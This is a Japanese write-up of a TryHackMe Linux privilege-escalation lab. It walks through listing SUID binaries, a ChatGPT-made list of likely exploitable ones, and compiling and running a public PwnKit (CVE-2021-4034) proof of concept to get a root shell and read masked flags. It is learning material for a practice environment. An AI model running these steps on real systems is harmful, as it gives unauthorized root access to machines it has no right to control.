【TryHackMe】Linux Privilege Escalation Task12 Writeup

kali CTF

TryHackMeのLinux Privilege Escalation Task12のWriteup。
解き終わった後に他の人のWriteupを読んだらこの解き方は出なかったので、備忘録として記載。

SUIDが設定されたファイルを探す。

[leonard@ip-10-10-221-19 ~]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966   40 -rwsr-xr-x   1 root     root        37360 Aug 20  2019 /usr/bin/base64
17298702   60 -rwsr-xr-x   1 root     root        61320 Sep 30  2020 /usr/bin/ksu
17261777   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018 /usr/bin/fusermount
17512336   28 -rwsr-xr-x   1 root     root        27856 Apr  1  2020 /usr/bin/passwd
17698538   80 -rwsr-xr-x   1 root     root        78408 Aug  9  2019 /usr/bin/gpasswd
17698537   76 -rwsr-xr-x   1 root     root        73888 Aug  9  2019 /usr/bin/chage
17698541   44 -rwsr-xr-x   1 root     root        41936 Aug  9  2019 /usr/bin/newgrp
17702679  208 ---s--x---   1 root     stapusr    212080 Oct 13  2020 /usr/bin/staprun
17743302   24 -rws--x--x   1 root     root        23968 Sep 30  2020 /usr/bin/chfn
17743352   32 -rwsr-xr-x   1 root     root        32128 Sep 30  2020 /usr/bin/su
17743305   24 -rws--x--x   1 root     root        23880 Sep 30  2020 /usr/bin/chsh
17831141 2392 -rwsr-xr-x   1 root     root      2447304 Apr  1  2020 /usr/bin/Xorg
17743338   44 -rwsr-xr-x   1 root     root        44264 Sep 30  2020 /usr/bin/mount
17743356   32 -rwsr-xr-x   1 root     root        31984 Sep 30  2020 /usr/bin/umount
17812176   60 -rwsr-xr-x   1 root     root        57656 Aug  9  2019 /usr/bin/crontab
17787689   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
18382172   52 -rwsr-xr-x   1 root     root        53048 Oct 30  2018 /usr/bin/at
20386935  144 ---s--x--x   1 root     root       147336 Sep 30  2020 /usr/bin/sudo
34469385   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
34469387   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
36070283   12 -rwsr-xr-x   1 root     root        11296 Oct 13  2020 /usr/sbin/usernetctl
35710927   40 -rws--x--x   1 root     root        40328 Aug  9  2019 /usr/sbin/userhelper
38394204  116 -rwsr-xr-x   1 root     root       117432 Sep 30  2020 /usr/sbin/mount.nfs
958368   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
37709347   12 -rwsr-xr-x   1 root     root        11128 Oct 13  2020 /usr/libexec/kde4/kpac_dhcp_helper
51455908   60 -rwsr-x---   1 root     dbus        57936 Sep 30  2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
17836404   16 -rwsr-xr-x   1 root     root        15448 Apr  1  2020 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
18393221   16 -rwsr-xr-x   1 root     root        15360 Oct  1  2020 /usr/libexec/qemu-bridge-helper
37203442  156 -rwsr-x---   1 root     sssd       157872 Oct 15  2020 /usr/libexec/sssd/krb5_child
37203771   84 -rwsr-x---   1 root     sssd        82448 Oct 15  2020 /usr/libexec/sssd/ldap_child
37209171   52 -rwsr-x---   1 root     sssd        49592 Oct 15  2020 /usr/libexec/sssd/selinux_child
37209165   28 -rwsr-x---   1 root     sssd        27792 Oct 15  2020 /usr/libexec/sssd/proxy_child
18270608   16 -rwsr-sr-x   1 abrt     abrt        15344 Oct  1  2020 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
18535928   56 -rwsr-xr-x   1 root     root        53776 Mar 18  2020 /usr/libexec/flatpak-bwrap

悪用できる可能性がありそうなものをChatGPTに聞いてみる。

上記の出力結果を投げて、SUID権限昇格のリスクがある候補を出すよう依頼した結果が以下。

バイナリパス説明・リスク要因
/usr/bin/pkexec高リスク。2022年に報告された「PwnKit(CVE-2021-4034)」が有名。古いバージョンでroot取得可能。
/usr/bin/sudoバージョン依存で危険。CVE-2021-3156(バッファオーバーフロー)など有名な脆弱性あり。
/usr/bin/XorgCVE-2018-14665Xorg -logfileオプションで任意ファイル上書き → root権限獲得)など。古いバージョンは要注意。
/usr/bin/fusermount一部の古いバージョンでユーザーにroot権限を渡す問題あり(mount操作の権限昇格)。
/usr/lib/polkit-1/polkit-agent-helper-1pkexecと組み合わせて使われることがある。バージョン確認すべき。
/usr/libexec/dbus-1/dbus-daemon-launch-helper所有者rootかつグループdbusで制限されているが、過去にRace Condition等のリスクが議論されたことあり。
/usr/libexec/flatpak-bwrapflatpakに関するSUIDで、コンテナの境界突破などの研究あり。古いバージョンや設定ミスは要確認。

上から順に確認していく。

まずはpkexecのバージョン確認。

[leonard@ip-10-10-221-19 ~]$ pkexec --version
pkexec version 0.112

脆弱性がどのバージョンで塞がれたのか調べてもヒットしなかったが、このバージョンは結構古いし多分使えそう。
攻撃してみたほうが速いので実際にやってみる。

Github上にPoCがあったので拝借。
https://github.com/arthepsy/CVE-2021-4034

ターゲットマシン上でexploit.cというファイルを作って、PoCをコピペ、コンパイル、実行。
するとrootが取れた。

[leonard@ip-10-10-221-19 ~]$ gcc exploit.c -o exploit
[leonard@ip-10-10-221-19 ~]$ ./exploit 
sh-4.2#

rootが取れたので後はファイルを探しておしまい。

sh-4.2# find / -type f -name flag1.txt                    
/home/missy/Documents/flag1.txt
sh-4.2# find / -type f -name flag2.txt
/home/rootflag/flag2.txt
sh-4.2# cat /home/missy/Documents/flag1.txt
THM-**************
sh-4.2# cat /home/rootflag/flag2.txt
THM-**************

出題者がflag1とflag2を用意した意図が不明だったので他の人のWriteupを調べたところ、
SUIDが付与されたbase64を使ってパスワードクラックを行い、missyとしてログインしてからrootに昇格するのが本来の解き方らしい。

このroomが作成された時点ではPwnKit(CVE-2021-4034)が報告される前だったようなので、
いきなりrootへ昇格するのは想定してなかったのかな?